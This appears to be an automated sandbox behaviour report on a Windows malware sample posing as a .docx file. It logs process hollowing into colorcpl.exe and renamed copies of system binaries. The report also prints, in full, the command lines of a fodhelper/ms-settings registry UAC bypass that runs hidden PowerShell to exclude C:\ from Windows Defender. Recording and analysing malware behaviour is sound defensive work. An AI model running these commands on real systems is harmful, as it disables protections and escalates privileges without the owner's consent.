Source: C:\Users\Public\Libraries\drbdmeyP.pif	Code function: 3_2_004098D0 SetUnhandledExceptionFilter,SetUnhandledExceptionFilter,SetUnhandledExceptionFilter,	3_2_004098D0
Source: C:\Users\Public\Libraries\drbdmeyP.pif	Code function: 3_2_004098F0 SetUnhandledExceptionFilter,	3_2_004098F0
Source: C:\Users\Public\Libraries\drbdmeyP.pif	Code function: 3_2_004099EC SetUnhandledExceptionFilter,	3_2_004099EC
Source: C:\Users\Public\Libraries\drbdmeyP.pif	Code function: 3_1_004098D0 SetUnhandledExceptionFilter,SetUnhandledExceptionFilter,SetUnhandledExceptionFilter,	3_1_004098D0
Source: C:\Users\Public\Libraries\drbdmeyP.pif	Code function: 3_1_004098F0 SetUnhandledExceptionFilter,	3_1_004098F0
Source: C:\Users\Public\Libraries\drbdmeyP.pif	Code function: 3_1_004099EC SetUnhandledExceptionFilter,	3_1_004099EC
Source: C:\Users\Public\alpha.exe	Code function: 8_2_00007FF64B578FA4 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	8_2_00007FF64B578FA4
Source: C:\Users\Public\alpha.exe	Code function: 8_2_00007FF64B5793B0 SetUnhandledExceptionFilter,	8_2_00007FF64B5793B0
Source: C:\Users\Public\alpha.exe	Code function: 10_2_00007FF64B578FA4 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	10_2_00007FF64B578FA4
Source: C:\Users\Public\alpha.exe	Code function: 10_2_00007FF64B5793B0 SetUnhandledExceptionFilter,	10_2_00007FF64B5793B0
Source: C:\Users\Public\alpha.exe	Code function: 12_2_00007FF64B578FA4 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	12_2_00007FF64B578FA4
Source: C:\Users\Public\alpha.exe	Code function: 12_2_00007FF64B5793B0 SetUnhandledExceptionFilter,	12_2_00007FF64B5793B0
Source: C:\Users\Public\alpha.exe	Code function: 14_2_00007FF64B578FA4 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	14_2_00007FF64B578FA4
Source: C:\Users\Public\alpha.exe	Code function: 14_2_00007FF64B5793B0 SetUnhandledExceptionFilter,	14_2_00007FF64B5793B0
Source: C:\Users\Public\alpha.exe	Code function: 17_2_00007FF64B578FA4 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	17_2_00007FF64B578FA4
Source: C:\Users\Public\alpha.exe	Code function: 17_2_00007FF64B5793B0 SetUnhandledExceptionFilter,	17_2_00007FF64B5793B0
Source: C:\Users\Public\ger.exe	Code function: 24_2_00007FF7E0A0ED50 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	24_2_00007FF7E0A0ED50
Source: C:\Users\Public\ger.exe	Code function: 24_2_00007FF7E0A0F050 SetUnhandledExceptionFilter,	24_2_00007FF7E0A0F050
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 31_2_045B4FDC SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	31_2_045B4FDC
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 31_2_045B49F9 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	31_2_045B49F9
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 31_2_045B4B47 SetUnhandledExceptionFilter,	31_2_045B4B47
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 31_2_045BBB22 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	31_2_045BBB22

Source: C:\Users\Public\xkn.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
Source: C:\Users\Public\alpha.exe	Process created: C:\Users\Public\xkn.exe C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
Source: C:\Users\Public\xkn.exe	Process created: C:\Users\Public\alpha.exe "C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
Source: C:\Users\Public\alpha.exe	Process created: C:\Users\Public\ger.exe C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "	Jump to behavior
Source: C:\Users\Public\alpha.exe	Process created: C:\Users\Public\xkn.exe C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "	Jump to behavior
Source: C:\Users\Public\xkn.exe	Process created: C:\Users\Public\alpha.exe "C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""	Jump to behavior
Source: C:\Users\Public\alpha.exe	Process created: C:\Users\Public\ger.exe C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Memory allocated: C:\Users\Public\Libraries\drbdmeyP.pif base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Memory allocated: C:\Users\Public\Libraries\drbdmeyP.pif base: 18160000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Memory allocated: C:\Windows\SysWOW64\colorcpl.exe base: 6420000 protect: page execute and read and write	Jump to behavior

Creates a thread in another existing process (thread injection)

Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe

Thread created: C:\Windows\SysWOW64\colorcpl.exe EIP: 6421617

Jump to behavior

Drops or copies cmd.exe with a different name (likely to bypass HIPS)

Source: C:\Windows\System32\extrac32.exe

File created: C:\Users\Public\alpha.exe

Jump to dropped file

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe

Memory written: C:\Windows\SysWOW64\colorcpl.exe base: 6420000 value starts with: 4D5A

Jump to behavior

Sample uses process hollowing technique

Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe

Section unmapped: C:\Users\Public\Libraries\drbdmeyP.pif base address: 400000

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Memory written: C:\Users\Public\Libraries\drbdmeyP.pif base: 3F8008			Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Memory written: C:\Windows\SysWOW64\colorcpl.exe base: 6420000			Jump to behavior

Source: C:\Windows\SysWOW64\colorcpl.exe

Code function: GetCurrentProcessId,OpenMutexA,CloseHandle,CreateThread,CloseHandle,Sleep,OpenProcess, svchost.exe

31_2_045920F7

Source: C:\Windows\SysWOW64\colorcpl.exe

Code function: 31_2_04599627 mouse_event,

31_2_04599627

Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Process created: C:\Users\Public\Libraries\drbdmeyP.pif C:\Users\Public\Libraries\drbdmeyP.pif	Jump to behavior
Source: C:\Users\Public\Libraries\drbdmeyP.pif	Process created: C:\Windows\System32\cmd.exe "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\D2F6.tmp\D2F7.tmp\D2F8.bat C:\Users\Public\Libraries\drbdmeyP.pif"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\extrac32.exe C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows \System32\per.exe "C:\\Windows \\System32\\per.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\Public\alpha.exe	Process created: C:\Windows\System32\extrac32.exe extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"	Jump to behavior
Source: C:\Users\Public\alpha.exe	Process created: C:\Windows\System32\extrac32.exe extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"	Jump to behavior
Source: C:\Users\Public\alpha.exe	Process created: C:\Windows\System32\extrac32.exe extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"	Jump to behavior
Source: C:\Users\Public\alpha.exe	Process created: C:\Users\Public\xkn.exe C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "	Jump to behavior
Source: C:\Users\Public\xkn.exe	Process created: C:\Users\Public\alpha.exe "C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""	Jump to behavior
Source: C:\Users\Public\alpha.exe	Process created: C:\Users\Public\ger.exe C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
Source: C:\Users\Public\alpha.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM SystemSettings.exe
Source: C:\Users\Public\alpha.exe	Process created: unknown unknown

Source: C:\Users\Public\alpha.exe

Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM SystemSettings.exe

Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\alpha.exe c:\\users\\public\\alpha /c c:\\users\\public\\xkn -windowstyle hidden -command "c:\\users\\public\\alpha /c c:\\users\\public\\ger add hkcu\software\classes\ms-settings\shell\open\command /f /ve /t reg_sz /d 'c:\\users\\public\\xkn -windowstyle hidden -command "add-mppreference -exclusionpath c:\"' ; "
Source: C:\Users\Public\alpha.exe	Process created: C:\Users\Public\xkn.exe c:\\users\\public\\xkn -windowstyle hidden -command "c:\\users\\public\\alpha /c c:\\users\\public\\ger add hkcu\software\classes\ms-settings\shell\open\command /f /ve /t reg_sz /d 'c:\\users\\public\\xkn -windowstyle hidden -command "add-mppreference -exclusionpath c:\"' ; "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\alpha.exe c:\\users\\public\\alpha /c c:\\users\\public\\xkn -windowstyle hidden -command "c:\\users\\public\\alpha /c c:\\users\\public\\ger add hkcu\software\classes\ms-settings\shell\open\command /f /ve /t reg_sz /d 'c:\\users\\public\\xkn -windowstyle hidden -command "add-mppreference -exclusionpath c:\"' ; "	Jump to behavior
Source: C:\Users\Public\alpha.exe	Process created: C:\Users\Public\xkn.exe c:\\users\\public\\xkn -windowstyle hidden -command "c:\\users\\public\\alpha /c c:\\users\\public\\ger add hkcu\software\classes\ms-settings\shell\open\command /f /ve /t reg_sz /d 'c:\\users\\public\\xkn -windowstyle hidden -command "add-mppreference -exclusionpath c:\"' ; "	Jump to behavior

Source: colorcpl.exe, 0000001F.00000002.3694699773.000000000281F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: colorcpl.exe, 0000001F.00000002.3694699773.000000000281F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program ManagerQ3\
Source: colorcpl.exe, 0000001F.00000002.3694699773.000000000281F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Managern.
Source: colorcpl.exe, 0000001F.00000002.3694699773.000000000281F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager404
Source: colorcpl.exe, 0000001F.00000002.3694699773.000000000281F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager404:0
Source: colorcpl.exe, 0000001F.00000002.3694699773.000000000281F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Managerknown.
Source: colorcpl.exe, 0000001F.00000002.3694699773.000000000281F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager404n.
Source: colorcpl.exe, 0000001F.00000002.3694699773.000000000281F000.00000004.00000020.00020000.00000000.sdmp, logs.dat.31.dr	Binary or memory string: [Program Manager]

Source: C:\Windows\SysWOW64\colorcpl.exe

Code function: 31_2_045B4C52 cpuid

31_2_045B4C52

Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Code function: InetIsOffline,CoInitialize,CoUninitialize,WinExec,WinExec,RtlMoveMemory,GetCurrentProcess,EnumSystemLocalesA,GetCurrentProcess,GetCurrentProcess,GetCurrentProcess,GetCurrentProcess,GetCurrentProcess,GetCurrentProcess,ExitProcess,	0_2_0299DAA4
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Code function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,	0_2_02985A78
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Code function: GetCurrentProcess,EnumSystemLocalesA,GetCurrentProcess,GetCurrentProcess,GetCurrentProcess,GetCurrentProcess,GetCurrentProcess,GetCurrentProcess,ExitProcess,	0_2_029A5E01
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Code function: GetLocaleInfoA,	0_2_0298A7A0
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Code function: GetLocaleInfoA,	0_2_0298A754
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Code function: lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,	0_2_02985B84
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Code function: InetIsOffline,CoInitialize,CoUninitialize,WinExec,WinExec,RtlMoveMemory,GetCurrentProcess,EnumSystemLocalesA,GetCurrentProcess,GetCurrentProcess,GetCurrentProcess,GetCurrentProcess,GetCurrentProcess,GetCurrentProcess,ExitProcess,	0_2_0299DAA4
Source: C:\Users\Public\alpha.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,setlocale,	8_2_00007FF64B5751EC
Source: C:\Users\Public\alpha.exe	Code function: GetSystemTime,SystemTimeToFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,GetLocaleInfoW,memmove,GetDateFormatW,GetDateFormatW,realloc,GetDateFormatW,memmove,GetLastError,realloc,	8_2_00007FF64B566EE4
Source: C:\Users\Public\alpha.exe	Code function: GetSystemTime,SystemTimeToFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,GetLocaleInfoW,memmove,GetTimeFormatW,	8_2_00007FF64B573140
Source: C:\Users\Public\alpha.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,setlocale,	10_2_00007FF64B5751EC
Source: C:\Users\Public\alpha.exe	Code function: GetSystemTime,SystemTimeToFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,GetLocaleInfoW,memmove,GetDateFormatW,GetDateFormatW,realloc,GetDateFormatW,memmove,GetLastError,realloc,	10_2_00007FF64B566EE4
Source: C:\Users\Public\alpha.exe	Code function: GetSystemTime,SystemTimeToFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,GetLocaleInfoW,memmove,GetTimeFormatW,	10_2_00007FF64B573140
Source: C:\Users\Public\alpha.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,setlocale,	12_2_00007FF64B5751EC
Source: C:\Users\Public\alpha.exe	Code function: GetSystemTime,SystemTimeToFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,GetLocaleInfoW,memmove,GetDateFormatW,GetDateFormatW,realloc,GetDateFormatW,memmove,GetLastError,realloc,	12_2_00007FF64B566EE4
Source: C:\Users\Public\alpha.exe	Code function: GetSystemTime,SystemTimeToFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,GetLocaleInfoW,memmove,GetTimeFormatW,	12_2_00007FF64B573140
Source: C:\Users\Public\alpha.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,setlocale,	14_2_00007FF64B5751EC
Source: C:\Users\Public\alpha.exe	Code function: GetSystemTime,SystemTimeToFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,GetLocaleInfoW,memmove,GetDateFormatW,GetDateFormatW,realloc,GetDateFormatW,memmove,GetLastError,realloc,	14_2_00007FF64B566EE4
Source: C:\Users\Public\alpha.exe	Code function: GetSystemTime,SystemTimeToFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,GetLocaleInfoW,memmove,GetTimeFormatW,	14_2_00007FF64B573140
Source: C:\Users\Public\alpha.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,setlocale,	17_2_00007FF64B5751EC
Source: C:\Users\Public\alpha.exe	Code function: GetSystemTime,SystemTimeToFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,GetLocaleInfoW,memmove,GetDateFormatW,GetDateFormatW,realloc,GetDateFormatW,memmove,GetLastError,realloc,	17_2_00007FF64B566EE4
Source: C:\Users\Public\alpha.exe	Code function: GetSystemTime,SystemTimeToFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,GetLocaleInfoW,memmove,GetTimeFormatW,	17_2_00007FF64B573140
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: EnumSystemLocalesW,	31_2_045C8404
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	31_2_045D243C
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: GetLocaleInfoW,	31_2_045D2543
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	31_2_045D2610
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: EnumSystemLocalesW,	31_2_045D2036
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	31_2_045D20C3
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: GetLocaleInfoW,	31_2_045D2313
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	31_2_045D1CD8
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: EnumSystemLocalesW,	31_2_045D1F50
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: EnumSystemLocalesW,	31_2_045D1F9B
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: GetLocaleInfoA,	31_2_0458F8D1
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: GetLocaleInfoW,	31_2_045C88ED

Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\Public\alpha.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\Public\xkn.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\Public\xkn.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Users\Public\xkn.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\Public\xkn.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\Public\alpha.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe

Code function: 0_2_0298919C GetLocalTime,

0_2_0298919C

Source: C:\Windows\SysWOW64\colorcpl.exe

Code function: 31_2_0459B60D GetUserNameW,

31_2_0459B60D

Source: C:\Windows\SysWOW64\colorcpl.exe

Code function: 31_2_045C9190 _free,_free,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,_free,

31_2_045C9190

Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe

Code function: 0_2_0298B71C GetVersionExA,

0_2_0298B71C

Source: C:\Users\Public\xkn.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256656557.000000007EDC0000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000002.1390105592.000000007F280000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256443567.000000007EE90000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: cmdagent.exe
Source: #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256656557.000000007EDC0000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000002.1390105592.000000007F280000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256443567.000000007EE90000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: quhlpsvc.exe
Source: #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256656557.000000007EDC0000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000002.1390105592.000000007F280000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256443567.000000007EE90000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: avgamsvr.exe
